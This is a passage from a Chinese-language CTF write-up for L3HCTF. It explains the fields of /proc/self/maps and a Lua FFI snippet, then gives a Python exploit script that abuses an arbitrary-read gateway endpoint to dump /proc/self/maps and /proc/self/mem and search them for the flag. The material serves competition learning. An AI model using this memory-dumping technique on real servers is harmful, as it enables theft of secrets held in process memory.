    • 第 4 位:p(私有内存,如进程堆、栈)、s(共享内存,如共享库、匿名共享映射)
  3. 偏移量00000000
    该内存区域对应的文件在磁盘上的偏移量(十六进制)。若为匿名映射(如堆、栈),此值通常为 0
  4. 设备号08:01
    映射文件所在的设备标识符(主设备号:次设备号),匿名映射(如堆、栈)此处为 00:00
  5. inode 号1234567
    映射文件的 inode 编号,匿名映射此处为 0
  6. 映射来源/usr/bin/ls
    内存区域的来源:
    • 若为文件映射,显示文件路径(如可执行文件、共享库、普通文件)。
    • 若为匿名映射,可能显示 [heap](堆)、[stack](栈)、[anon](匿名内存)等。
init_by_lua_block {
        # 在最后加上一段
        print(tostring(flag))
        #tostring(flag):将 Lua 变量 flag 转换为字符串(若 flag 本身是字符串则直接返回)。
#print(...):输出到 Nginx 的错误日志(通常为 /var/log/nginx/error.log,但配置中已定向到 /dev/null)。
        local ffi = require("ffi")
        local ptr = ffi.cast("const char*", flag)
        #require("ffi"):加载 LuaJIT 的 FFI 模块,该模块允许 Lua 代码直接调用 C 函数和操作 C 数据类型。
#ffi.cast("const char*", flag):将 Lua 字符串 flag 转换为 C 风格的只读字符指针(const char*)。
#关键点:LuaJIT 在内存中会将字符串存储为连续的字节数组,通过 FFI 可获取该数组的起始地址。
        print("Address: ", tostring(ptr))
        #tostring(ptr):将 C 指针转换为 Lua 字符串,格式为 0xXXXXXXXXXXXXXXXX(十六进制内存地址)。
}

L3HCTF Writeup - 星盟安全团队

import requests
import re
import time

# === 配置项 ===
TARGET = "http://43.138.2.216:17794/read_anywhere"
PASSWORD = "passwordismemeispasswordsoneverwannagiveyouup"
CHUNK_SIZE = 4096  # 每次读取的字节数
FLAG_PREFIX = b"L3HCTF{"


# === 读取 maps ===
def get_readable_ranges():
    headers = {
        "X-Gateway-Password": PASSWORD,
        "X-Gateway-Filename": "/proc/self/maps",
        "X-Gateway-Start": "0",
        "X-Gateway-Length": "65536"
    }

    print("[*] 请求 /proc/self/maps ...")
    r = requests.get(TARGET, headers=headers)
    if r.status_code != 200:
        raise RuntimeError(f"无法读取 maps: {r.status_code}")

    ranges = []
    for line in r.text.splitlines():
        m = re.match(r'^([0-9a-fA-F]+)-([0-9a-fA-F]+) ([rwxp\-]{4})', line)
        if m and 'r' in m.group(3):
            start = int(m.group(1), 16)
            end = int(m.group(2), 16)
            ranges.append((start, end))
    print(f"[+] 找到 {len(ranges)} 个可读内存段")
    return ranges


# === 搜索内存中包含 flag 的区域 ===
def search_flag_in_mem(ranges):
    for start, end in ranges:
        print(f"[*] 扫描内存段: {hex(start)} - {hex(end)}")
        offset = 0
        while start + offset < end:
            size = min(CHUNK_SIZE, end - (start + offset))
            headers = {
                "X-Gateway-Password": PASSWORD,
                "X-Gateway-Filename": "/proc/self/mem",
                "X-Gateway-Start": str(start + offset),
                "X-Gateway-Length": str(size)
            }

            try:
                r = requests.get(TARGET, headers=headers, timeout=5)
                if r.status_code != 200:
                    print(f"[!] 读取失败 status={r.status_code} offset={offset}")
                    break
                data = r.content
                if FLAG_PREFIX in data:
                    index = data.find(FLAG_PREFIX)
                    # 简单截断 flag(直到遇到右大括号或 50 字节以内)
                    tail = data[index:index + 50]
                    match = re.search(rb'L3HCTF\{[^\}]{1,48}\}', tail)
                    if match:
                        print(f"\n🎉 找到 flag: {match.group(0).decode()}")
                        return True
                    else:
                        print(f"[?] 找到前缀但无法确定完整 flag: {tail}")
                        return True
                offset += size
            except Exception as e:
                print(f"[!] 请求异常: {e}")
                break
    print("[-] 未找到 flag")
    return False


if __name__ == "__main__":
    ranges = get_readable_ranges()
    found = search_flag_in_mem(ranges)
    if not found:
        print("[-] flag 未找到")


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录